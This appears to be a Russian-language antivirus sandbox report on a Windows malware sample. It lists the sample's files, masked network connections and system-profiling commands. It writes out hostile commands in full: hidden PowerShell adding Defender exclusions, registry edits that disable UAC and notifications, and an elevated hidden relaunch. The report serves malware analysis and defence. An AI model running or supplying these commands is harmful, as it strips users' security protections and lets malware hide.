Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%APPDATA%\Intel\Wireless','%APPDATA%\Intel\Wireless\srx.exe','%LOCALAPPDATA%\Temp','%APPDATA%\abode'"
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM "srx.exe"
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Изменения в файловой системе
Создает следующие файлы
- nul
- %APPDATA%\intel\wireless\srx.exe
- %TEMP%\init_pvicb.tmp
- %TEMP%\init_33ydqp.tmp
- %HOMEPATH%\desktop\69_debug.txt
- %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
- %TEMP%\ezz_p2.flag
Удаляет файлы, которые сам же создал
- %TEMP%\init_pvicb.tmp
- %TEMP%\init_33ydqp.tmp
- %HOMEPATH%\desktop\69_debug.txt
Сетевая активность
Подключается к
- 'gi##ub.com':443
- 'ap#.#pify.org':443
- 're#########ets.githubusercontent.com':443
TCP
Другие
- 'gi##ub.com':443
- 'ap#.#pify.org':443
- 're#########ets.githubusercontent.com':443
UDP
- DNS ASK gi##ub.com
- DNS ASK ap#.#pify.org
- DNS ASK re#########ets.githubusercontent.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%APPDATA%\intel\wireless\srx.exe'
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /d /s /c "net session" (со скрытым окном)
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /d /s /c "getmac" (со скрытым окном)
- '<SYSTEM32>\getmac.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic os get caption" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' os get caption
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell (Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault)" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' (Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Get-MpComputerStatus | Select-Object -ExpandProperty SmartAppControlState" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-MpComputerStatus
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-MpPreference
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Get-Tpm | Select-Object -ExpandProperty TpmPresent" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-Tpm
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell $ExecutionContext.SessionState.LanguageMode" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $ExecutionContext.SessionState.LanguageMode
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM "srx.exe"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v TaskbarNoNotification /t REG_DWORD /d 1 /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v TaskbarNoNotification /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%APPDATA%\Intel\Wireless','%APPDATA%\Intel\Wireless\srx.exe','%LOCALAPPDATA%\Temp','%APPDATA%\abode'"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Start-Process -FilePath '<Полный путь к файлу>' -Verb RunAs -WindowStyle Hidden" (со скрытым окном)
- '%APPDATA%\intel\wireless\srx.exe' (со скрытым окном)
- '<Полный путь к файлу>' (со скрытым окном)
